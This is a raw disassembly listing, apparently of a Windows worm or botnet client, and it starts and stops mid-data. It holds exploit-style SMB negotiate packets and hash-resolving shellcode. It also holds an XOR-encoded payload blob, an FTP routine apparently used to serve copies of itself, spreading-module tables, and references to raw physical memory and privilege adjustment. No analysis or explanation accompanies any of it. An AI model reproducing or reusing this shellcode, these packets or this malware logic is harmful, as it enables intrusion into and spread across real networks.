'DeleteCriticalSection',0 dw 247h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aP_1 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 198h aGetprocaddress db 'GetProcAddress',0 align 10h dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 724600EFh, 694C6565h dd 72617262h, 2520079h, 61636F4Ch, 6572466Ch, 25E0065h dd 5670614Dh, 4F776569h, 6C694666h, 2E0065h, 736F6C43h dd 6E614865h, 656C64h, 6E550365h, 5670616Dh, 4F776569h dd 6C694666h, 13A0065h aGetcurrentproc db 'GetCurrentProcess',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 352h aTerminatethrea db 'TerminateThread',0 db 5Bh ; [ db 3, 54h, 72h aAnsactnamedpip db 'ansactNamedPipe',0 aM_1 db 'M',0 aCreatefilea db 'CreateFileA',0 db '|',0 aDeletefilea db 'DeleteFileA',0 db '=',0 aCopyfilea db 'CopyFileA',0 db 0Eh db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 156h aGetfileattribu db 'GetFileAttributesA',0 align 4 db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 89h ; ‰ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 397h aWritefile db 'WriteFile',0 dw 385h aWaitforsingleo db 'WaitForSingleObject',0 aI_0 db 'I',0 aCreateeventa db 'CreateEventA',0 align 4 db 0ABh ; « db 2, 52h, 65h aAdfile db 'adFile',0 align 10h db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 aE db 'E',0 aCreatedirector db 'CreateDirectoryA',0 align 10h db 0B0h ; ° db 3, 6Ch, 73h aTrcata db 'trcatA',0 align 4 db 4Bh ; K db 1, 47h, 65h aTdrivetypea db 'tDriveTypeA',0 db 6Eh ; n db 1, 47h, 65h aTlogicaldrives db 'tLogicalDriveStringsA',0 dw 10Ch aGetcomputern_0 db 'GetComputerNameA',0 align 2 dw 262h aModule32next db 'Module32Next',0 align 2 dw 260h aModule32firs_0 db 'Module32First',0 db 'l',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 align 2 dw 13Bh aGetcurrentpr_0 db 'GetCurrentProcessId',0 db 2Fh ; / db 2, 49h, 73h aDebuggerpresen db 'DebuggerPresent',0 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 4 retf ; --------------------------------------------------------------------------- db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 10h db 3, 53h, 65h aTfilepointer db 'tFilePointer',0 align 2 dw 15Bh aGetfilesize db 'GetFileSize',0 db 64h ; d db 2, 4Dh, 6Fh aVefilea db 'veFileA',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 29Ah aQueryperform_1 db 'QueryPerformanceFrequency',0 dw 299h aQueryperform_2 db 'QueryPerformanceCounter',0 aP_2 db '¯',0 aExitprocess db 'ExitProcess',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 4 db 0B8h ; ¸ db 2, 52h, 65h aLeasemutex db 'leaseMutex',0 align 4 aZ_0 db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 46h ; F db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceExA',0 dw 1FBh aGlobalmemoryst db 'GlobalMemoryStatusEx',0 align 2 dw 1D6h aGettimeformata db 'GetTimeFormatA',0 align 4 dd 6547013Fh, 74614474h, 726F4665h, 4174616Dh, 1B90000h aGetsystemdirec db 'GetSystemDirectoryA',0 dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 3B30000h dd 7274736Ch, 41706D63h, 1520000h aGetexitcodepro db 'GetExitCodeProcess',0 align 10h db 87h ; ‡ db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 aM_2 db 'Œ',0 aDuplicatehandl db 'DuplicateHandle',0 a__1 db '_',0 aCreatepipe db 'CreatePipe',0 align 10h db 0AEh ; ® db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 704F027Ch, 72506E65h, 7365636Fh, 3510073h, 6D726554h dd 74616E69h, 6F725065h, 73736563h, 28E0000h, 636F7250h dd 33737365h, 78654E32h, 28C0074h, 636F7250h, 33737365h dd 72694632h, 7473h, 6547013Dh, 72754374h, 746E6572h, 65726854h dd 6461h, 6F4C024Eh, 416C6163h, 636F6C6Ch, 3BC0000h, 7274736Ch dd 6E797063h, 3140041h, 46746553h, 54656C69h, 656D69h dd 6547015Dh, 6C694674h, 6D695465h, 1E90065h aGetwindowsdire db 'GetWindowsDirectoryA',0 align 2 dw 16Bh aGetlocaltime db 'GetLocalTime',0 align 2 db 'Å',0 aFindclose db 'FindClose',0 db 'Ó',0 aFindnextfilea db 'FindNextFileA',0 db 'É',0 aFindfirstfilea db 'FindFirstFileA',0 align 4 db 0BAh ; º db 2, 52h, 65h aMovedirectorya db 'moveDirectoryA',0 align 4 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 db '&',0 aCharlowera db 'CharLowerA',0 align 4 db 0D5h ; Õ db 2, 77h, 73h aPrintfa db 'printfA',0 db 97h ; — db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 dw 23Ah aSendmessagea_0 db 'SendMessageA',0 align 2 dw 0FCh aGetclassname_0 db 'GetClassNameA',0 aUser32_dll_0 db 'USER32.dll',0 align 2 dw 234h aSetsecurityinf db 'SetSecurityInfo',0 dd 6553021Fh, 746E4574h, 73656972h, 63416E49h, 416Ch, 6547010Eh dd 63655374h, 74697275h, 666E4979h, 1C006Fh aAdjusttokenp_0 db 'AdjustTokenPrivileges',0 dw 14Dh aLookupprivil_0 db 'LookupPrivilegeValueA',0 dw 1AAh aOpenprocesst_0 db 'OpenProcessToken',0 align 2 dw 123h aGetusernamea_0 db 'GetUserNameA',0 align 2 dw 1F9h aRegsetvaluee_0 db 'RegSetValueExA',0 align 4 db 0E2h ; â db 1, 52h, 65h aGopenkeyexa db 'gOpenKeyExA',0 db 0C9h ; É db 1, 52h, 65h aGclosekey db 'gCloseKey',0 dw 1ECh aRegqueryvalu_0 db 'RegQueryValueExA',0 align 2 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 db 'Ä',0 aShgetspecialfo db 'SHGetSpecialFolderPathA',0 aShell32_dll_0 db 'SHELL32.dll',0 aA db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aC db 'C',0 aGetudptable_0 db 'GetUdpTable',0 aIphlpapi_dll_0 db 'iphlpapi.dll',0 align 2 dw 1Dh aGetuserprofile db 'GetUserProfileDirectoryA',0 align 2 aUserenv_dll db 'USERENV.dll',0 dw 206h aHeapalloc db 'HeapAlloc',0 dw 20Ch aHeapfree db 'HeapFree',0 align 2 dw 1D8h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 db 0BEh ; ¾ db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 1Eh db 2, 49h, 6Eh aTerlockeddecre db 'terlockedDecrement',0 align 10h db 22h ; " db 2, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 dd 655202C7h, 656D7573h, 65726854h, 6461h, 6C540359h, 74655373h dd 756C6156h, 2CC0065h, 556C7452h, 6E69776Eh, 29D0064h dd 73696152h, 63784565h, 69747065h, 6E6Fh, 654701AFh, 61745374h dd 70757472h, 6F666E49h, 1080041h, 43746547h, 616D6D6Fh dd 694C646Eh, 41656Eh, 654701DEh, 72655674h, 6E6F6973h dd 1500000h aGetenvironment db 'GetEnvironmentVariableA',0 db 0Ah db 2, 48h, 65h aApdestroy db 'apDestroy',0 dw 208h aHeapcreate db 'HeapCreate',0 align 4 db 78h ; x db 3, 56h, 69h aRtualfree db 'rtualFree',0 dw 375h aVirtualalloc db 'VirtualAlloc',0 align 2 dw 210h aHeaprealloc db 'HeapReAlloc',0 db 2Ch ; , db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 19h db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 356h aTlsalloc db 'TlsAlloc',0 align 2 dw 31Dh aSetlasterror db 'SetLastError',0 align 2 dw 358h aTlsgetvalue db 'TlsGetValue',0 db 19h db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B1h aGetstdhandle db 'GetStdHandle',0 align 2 dw 15Eh aGetfiletype db 'GetFileType',0 db 62h ; b db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h db 3Ah ; : db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 10h db 3Bh ; ; db 2, 4Ch, 43h aMapstringw db 'MapStringW',0 align 10h db 12h db 2, 48h, 65h aApsize db 'apSize',0 align 4 db 3Dh ; = db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 32Ch aSetstdhandle db 'SetStdHandle',0 align 2 dw 0FCh aGetcpinfo db 'GetCPInfo',0 dw 0F5h aGetacp db 'GetACP',0 align 10h db 8Bh ; ‹ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 aA_0 db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 4Dh ; M db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 4Fh ; O db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 0E50000h dd 73756C46h, 6C694668h, 66754265h, 73726566h, 2290000h dd 61427349h, 61655264h, 72745064h, 2260000h, 61427349h dd 646F4364h, 72745065h, 3050000h, 45746553h, 664F646Eh dd 656C6946h, 340000h, 706D6F43h, 53657261h, 6E697274h dd 4167h, 6F430035h, 7261706Dh, 72745365h, 57676E69h, 3080000h aSetenvironment db 'SetEnvironmentVariableA',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 4 dd 276h dup(0) dword_43A000 dd 0 dd offset sub_405B98 dd offset sub_418D66 dd offset loc_42921D dword_43A010 dd 0 dword_43A014 dd 0 dd offset sub_42B87B dd offset sub_42C118 dd offset sub_432AA0 dd offset sub_4320E6 dword_43A028 dd 0 dword_43A02C dd 0 dd offset sub_42C1C0 dword_43A034 dd 0 dword_43A038 dd 0 dd offset sub_4320F7 dword_43A040 dd 4 dup(0) byte_43A050 db 90h ; DATA XREF: sub_40126C+B2o db 42h, 90h, 42h db 90h dd offset loc_429042 align 4 dword_43A05C dd 10FF8h, 0 dword_43A064 dd 10FF8h dword_43A068 dd 7FFDF020h, 0 dword_43A070 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43A0F8 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_43A128 dd 0 dd 800000D4h, 2 dup(0) unk_43A138 db 81h ; ; DATA XREF: sub_401766+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 dword_43A184 dd 158h ; =============== S U B R O U T I N E ======================================= sub_43A188 proc near ; DATA XREF: .text:0040181Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43A284 push dword ptr [esi] push 63D61209h call sub_43A29A mov [esi+8], eax call sub_43A24D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43A29A mov [esi+0Ch], eax call sub_43A1FF push dword ptr [esi+4] push 4C0297FAh call sub_43A29A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_43A188 endp ; =============== S U B R O U T I N E ======================================= sub_43A1FF proc near ; CODE XREF: sub_43A188+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_43A228 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43A1FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43A228 proc near ; CODE XREF: sub_43A1FF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43A237: ; CODE XREF: sub_43A228+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43A244 inc ebx jmp short loc_43A237 ; --------------------------------------------------------------------------- loc_43A244: ; CODE XREF: sub_43A228+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_43A228 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43A24D proc near ; CODE XREF: sub_43A188+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43A265: ; CODE XREF: sub_43A24D+1Ej cmp [ecx], ebx jz short loc_43A26D mov ecx, [ecx] jmp short loc_43A265 ; --------------------------------------------------------------------------- loc_43A26D: ; CODE XREF: sub_43A24D+1Aj mov edx, edi loc_43A26F: ; CODE XREF: sub_43A24D+2Aj cmp [edx+4], ebx jz short loc_43A279 mov edx, [edx+4] jmp short loc_43A26F ; --------------------------------------------------------------------------- loc_43A279: ; CODE XREF: sub_43A24D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43A24D endp ; =============== S U B R O U T I N E ======================================= sub_43A284 proc near ; CODE XREF: sub_43A188+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43A284 endp ; =============== S U B R O U T I N E ======================================= sub_43A29A proc near ; CODE XREF: sub_43A188+16p ; sub_43A188+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_43A2B0: ; CODE XREF: sub_43A29A+33j jecxz short loc_43A2EA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_43A2BD: ; CODE XREF: sub_43A29A+2Dj lodsb cmp al, ah jz short loc_43A2C9 ror edi, 0Dh add edi, eax jmp short loc_43A2BD ; --------------------------------------------------------------------------- loc_43A2C9: ; CODE XREF: sub_43A29A+26j cmp edi, [esp+20h+arg_0] jnz short loc_43A2B0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_43A2EA: ; CODE XREF: sub_43A29A:loc_43A2B0j ; sub_43A29A:loc_43A2EAj jmp short loc_43A2EA sub_43A29A endp ; --------------------------------------------------------------------------- align 10h dword_43A2F0 dd 0F254C481h, 0FFFFhdword_43A2F8 dd 23h dword_43A2FC dd 60h dword_43A300 dd 62B0606h, 2050501h, 0A0hdword_43A30C dd 30h ; sub_401F54+7Co ... dword_43A310 dd 0A1h dword_43A314 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40126C+153o align 10h loc_43A320: ; DATA XREF: sub_40126C+E8o jmp short near ptr dword_43A328 ; --------------------------------------------------------------------------- align 8 dword_43A328 dd 0 aSSSExD db '%s %s -> %s (Ex: %d)',0 ; DATA XREF: .text:00401911o ; sub_403B9B+155o ... align 8 aD1 db 'd1',0 ; DATA XREF: sub_402675+FCo ; sub_40A9FE+973Fo align 4 dd 2 dup(0) db 3 dup(0) dword_43A357 dd 33314344h ; .text:00401967r ... db 35h dd 7 dup(0) dword_43A378 dd 87h ; sub_40A9FE+5F42r ... off_43A37C dd offset sub_403B9B ; DATA XREF: sub_402675+174r dword_43A380 dd 0 ; .text:00401960r ... dword_43A384 dd 1 dd 3264h, 2 dup(0) dd 44000000h, 3243h, 7 dup(0) dd 87h, 403D84h, 0 dd 1, 3364h, 2 dup(0) db 3 dup(0) byte_43A3D7 db 44h ; DATA XREF: sub_406D7F+296o dd 3343h, 7 dup(0) dd 87h, 404134h, 0 dd 1, 736B6Eh, 2 dup(0) db 3 dup(0) byte_43A417 db 4Eh ; DATA XREF: sub_406D7F+498o dd 3250h, 7 dup(0) dd 1BDh, 4063C0h, 0 dd 1, 656Eh, 2 dup(0) db 3 dup(0) byte_43A457 db 4Eh ; DATA XREF: sub_406D7F+2F6o dd 3245h, 7 dup(0) dd 8Bh, 4066E2h, 0 dd 1, 61h, 2 dup(0) dd 41000000h, 4E53h, 7 dup(0) dd 8Bh, 4017B8h, 0 dd 1, 31626Eh, 2 dup(0) db 3 dup(0) byte_43A4D7 db 4Eh ; DATA XREF: sub_406D7F+39Do dd 42h, 7 dup(0) dd 8Bh, 4059BFh, 2 dup(0) dd 32626Eh, 2 dup(0) dd 4E000000h, 42h, 7 dup(0) dd 1BDh, 4059BFh, 2 dup(0) dd 76h, 2 dup(0) dd 56000000h, 434Eh, 7 dup(0) dd 170Ch, 408169h, 0 dd 1, 6276h, 2 dup(0) dd 56000000h, 42434Eh, 7 dup(0) dd 170Ch, 409645h, 0 dd 1, 73h, 2 dup(0) db 3 dup(0) off_43A5D7 dd offset byte_565253 ; DATA XREF: sub_406D7F+3FDo align 4 dd 7 dup(0) dd 1BDh, 4073A2h, 0 dd 1, 656B77h, 2 dup(0) dd 57000000h, 454Bh, 7 dup(0) dd 8Bh, 409D5Dh, 0 dd 1, 31656B77h, 2 dup(0) dd 57000000h, 31454Bh, 7 dup(0) dd 1BDh, 409D5Dh, 0 dd 1, 6F6B77h, 2 dup(0) dd 57000000h, 4F4Bh, 7 dup(0) dd 8Bh, 409DF7h, 0 dd 1, 316F6B77h, 2 dup(0) dd 57000000h, 314F4Bh, 7 dup(0) dd 1BDh, 409DF7h, 0 dd 1, 736B77h, 2 dup(0) dd 57000000h, 534Bh, 7 dup(0) dd 8Bh, 409FC8h, 0 dd 1, 31736B77h, 2 dup(0) dd 57000000h, 31534Bh, 7 dup(0) dd 1BDh, 409FC8h, 0 dd 1, 10h dup(0) dword_43A7C8 dd 3164h, 2 dup(0) dd 1000000h, 73h, 2 dup(0) dd 1000000h dword_43A7E8 dd 3364h, 2 dup(0) dd 1000000h, 316F6B77h, 2 dup(0) dd 1000000h dword_43A808 dd 656Eh, 2 dup(0) dd 1000000h, 31626Eh, 2 dup(0) dd 1000000h dword_43A828 dd 3164h, 2 dup(0) dd 1000000h, 3264h, 2 dup(0) dd 1000000h dword_43A848 dd 73h, 2 dup(0) dd 1000000h, 736B6Eh, 2 dup(0) dd 1000000h dword_43A868 dd 76h, 2 dup(0) dd 1000000h, 6276h, 2 dup(0) dd 1000000h dword_43A888 dd 73h, 2 dup(0) dd 1000000h, 736B77h, 2 dup(0) dd 1000000h dword_43A8A8 dd 3364h, 2 dup(0) dd 1000000h, 31656B77h, 2 dup(0) dd 1000000h dword_43A8C8 dd 2 dword_43A8CC dd 2 dword_43A8D0 dd 2 dword_43A8D4 dd 2 dword_43A8D8 dd 2 dword_43A8DC dd 2 dword_43A8E0 dd 2 dword_43A8E4 dd 2 dword_43A8E8 dd 0E983C929h, 0FFFFE8B0h, 5EC0FFFFh, 970E7681h, 839CBE56h ; DATA XREF: .text:004017FCo ; sub_403970+4Bo ... dd 0F4E2FCEEh, 0D1553C6Bh, 6341AF7Fh, 0F0353668h, 0D93572B3h dd 99C2DDABh, 175157EFh, 0C3354ED8h, 0D55557B7h, 9D35621Ch dd 57E6779h, 0E87ED23Bh, 91749790h, 68559496h, 0B49A02ACh dd 0C335B3E2h, 0FA5557B3h, 17F55A1Ch, 77BF4AC8h, 15357A94h dd 0FDA272FBh, 0F8656754h, 178E151Ch, 0EC355AD7h, 0DC35FB8Bh dd 12D6089Fh, 0CC5258D9h, 0CFD88068h, 0AE8D3EF1h, 0AECD21FFh dd 4C4102C8h, 60539DFFh, 4A4106ACh, 0FA5BDFC8h, 9EB6BB16h dd 63BC3CC2h, 95673E47h, 63E9FB62h, 0CFED0541h, 0CFFD05C4h dd 4C4105D4h, 0F6BA3EF1h, 7D3705F1h, 861A3E02h, 63E991E7h dd 0CDAE3C41h, 0F46EA9C2h, 7590FB33h, 0CF68A9C0h, 0F46EA9C2h dd 0D5381F72h, 0CC68A9C0h, 63EB02C3h, 7BD6C547h, 0CBC790EEh dd 63EB8068h, 0F8D43047h, 0F1DD3EF1h, 0CCD4B31Eh, 15727FCEh dd 15FA3C70h, 6F7E6775h, 0B1FCA83Dh, 0F921469h, 37862C1Ah dd 0EED6FD3Ch, 63A8E569h, 4A4112E2h, 0CDEC01CCh, 9DD407C6h dd 0CDEB07C6h, 31D68668h, 0CF70534Eh, 63D48068h, 4C416168h dd 1F42011Ch, 4A413253h, 0F46EA9C5h, 0FC5E9878h, 6368A9C4h dd 9CBE5647h, 0 dd 159h aEftpdDTotalDIn db ' (EFTPD): (%d), Total -> (%d in %s)',0 ; DATA XREF: sub_401990+9Ao aSD_0 db ' (%s: %d),',0 ; DATA XREF: sub_401990+4Co align 4 aSStats db '%s (Stats):',0 ; DATA XREF: sub_401990+1Ao aCCCCCC db '%c%c%c%c%c%c',0 ; DATA XREF: sub_401A77+66o ; sub_40A9FE+5B34o align 4 aSCCCCC db '%s%c%c%c%c%c',0 ; DATA XREF: sub_401AF0+6Bo align 4 aS_6 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401B6E:loc_401E31o ; sub_406429+251o ... align 10h aSSSDSSSSSSSS_0 db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s %s' ; DATA XREF: sub_401B6E+274o ; sub_406429+210o db ' %s >> %s %s%s %s %s',0Dh,0Ah,0 aSSSDSSSSSSSSSS db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s %s' ; DATA XREF: sub_401B6E+1E9o ; sub_406429+180o db '%s %s %s',0Dh,0Ah,0 aSDDDDD_exe db '%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_401B6E+137o ; sub_40541D+285o ... align 4 off_43AB68 dd offset dword_5C005C ; DATA XREF: sub_401E9E+16o align 10h off_43AB70 dd offset dword_49005C ; DATA XREF: sub_401E9E+Bo dd offset loc_43004E+2 dd 24h dword_43AB7C dd 252E7325h, 73252E73h, 73252Eh ; sub_402CE9+398o dword_43AB88 dd 78h ; sub_401F54+A3o ... dword_43AB8C dd 2Eh ; sub_405C99+2Do ... dword_43AB90 dd 49207325h, 7463616Eh, 657669hdword_43AB9C dd 28207325h, 29504943h, 7325203Ah, 0aSSSISS_ db '%s %s, %s: %i, %s: %s.',0 ; DATA XREF: sub_4020BA+D3o align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40222C+3Bo aSSAtSDAfterDMi db '%s %s at %s:%d after %d minute(s).',0 ; DATA XREF: sub_402459+1D2o align 4 aSSDThreadDSubT db '%s %s:%d, Thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_402459+119o align 4 aSSD_0 db '%s %s: <%d>',0 ; DATA XREF: sub_402459+98o ; sub_423C7A+A5o ... aSSSSDOpen_ db '%s %s%s: %s:%d open.',0 ; DATA XREF: sub_402675+C3o align 10h aZwopensection db 'ZwOpenSection',0 ; DATA XREF: sub_402822+23o align 10h aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402822+1Bo align 4 aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_402822o align 4 aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_402889+5Do align 4 off_43AC84 dd offset aRy6iq0udbphN2n+0Ch ; DATA XREF: sub_40292F+31o aEvicePhysicalm: unicode 0, <evice\PhysicalMemory>,0 align 4 aSesecuritypriv db 'SeSecurityPrivilege',0 ; DATA XREF: sub_402BD7:loc_402C3Eo a503 db '503',0Dh,0Ah,0 ; DATA XREF: sub_402CE9:loc_403222o align 10h a221 db '221',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+51Eo align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_402CE9+511o align 10h a425 db '425',0Dh,0Ah,0 ; DATA XREF: sub_402CE9:loc_4031D8o align 4 aSS_2 db '%s -> %s',0 ; DATA XREF: sub_402CE9+494o ; sub_402CE9+4C3o align 4 a226 db '226',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+440o align 4 a150 db '150',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+3DBo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_402CE9+3CBo align 4 a200 db '200',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+3A3o align 4 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_402CE9+362o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402CE9+324o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_402CE9+2F0o align 4 a230 db '230',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+2CBo align 4 aPass db 'PASS',0 ; DATA XREF: sub_402CE9+2BFo align 4 a331 db '331',0Dh,0Ah,0 ; DATA XREF: sub_402CE9+29Ao align 4 aUser db 'USER',0 ; DATA XREF: sub_402CE9+28Eo align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_402CE9+274o ; sub_4033A3+C8o ... align 4 a220 db '220',0Dh,0Ah,0 ; DATA XREF: sub_402CE9:loc_402EC3o align 4 aRb db 'rb',0 ; DATA XREF: sub_4032D2+2Bo ; .text:0040A296o align 10h aSSDS db '%s %s %d %s',0 ; DATA XREF: sub_4033A3+75o ; sub_423654+36o align 10h byte_43AD90 db 1 ; DATA XREF: sub_4034A5+25r align 2 dw 2 dd 80004h, 200010h, 800040h dword_43ADA0 dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h ; DATA XREF: sub_4034A5+C6r ; sub_4034A5+D8r dd 20000h, 10000h, 8000h, 4000h, 2000h, 1000h, 800h, 400h dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1 byte_43AE00 db 38h ; DATA XREF: sub_4034A5:loc_4034B5r db 30h, 28h, 20h dd 81018h, 21293139h, 1091119h, 222A323Ah, 20A121Ah, 232B333Bh dd 262E363Eh, 60E161Eh, 252D353Dh, 50D151Dh, 242C343Ch dd 40C141Ch, 30B131Bh dword_43AE38 dd 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h, 170A100Dh ; DATA XREF: sub_4034A5+6Ar dd 1B020400h, 914050Eh, 30B1216h, 60F0719h, 10C131Ah dword_43AE60 dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h ; DATA XREF: sub_4034A5:loc_40355Br dd 1F1C2331h dword_43AE78 dd 1010400h, 0 ; sub_403721+148r dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h) dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0 dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4, 1010000h dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h dd 1000004h, 400h, 4, 1000404h, 10404h, 1010404h, 10004h dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h dd 404h, 2 dup(1000400h), 0 dd 10004h, 10400h, 0 dd 1010004h dword_43AF78 dd 80108020h ; sub_403721+189r dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h dd 80008000h, 100000h, 20h, 80100020h, 108000h, 100020h dd 80008020h, 0 dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h dd 0 dd 108000h, 8020h, 80108000h, 80100000h, 8020h, 0 dd 108020h, 80100020h, 100000h, 80008020h, 80100000h, 80108000h dd 8000h, 80100000h, 80008000h, 20h, 80108020h, 108020h dd 20h, 8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0 dd 80008000h, 8020h, 80000000h, 80100020h, 80108020h, 108000h dword_43B078 dd 208h ; sub_403721+152r dd 8020200h, 0 dd 8020008h, 8000200h, 0 dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h dd 20008h, 8020000h, 208h, 8000000h, 8, 8020200h, 200h dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h dd 20000h, 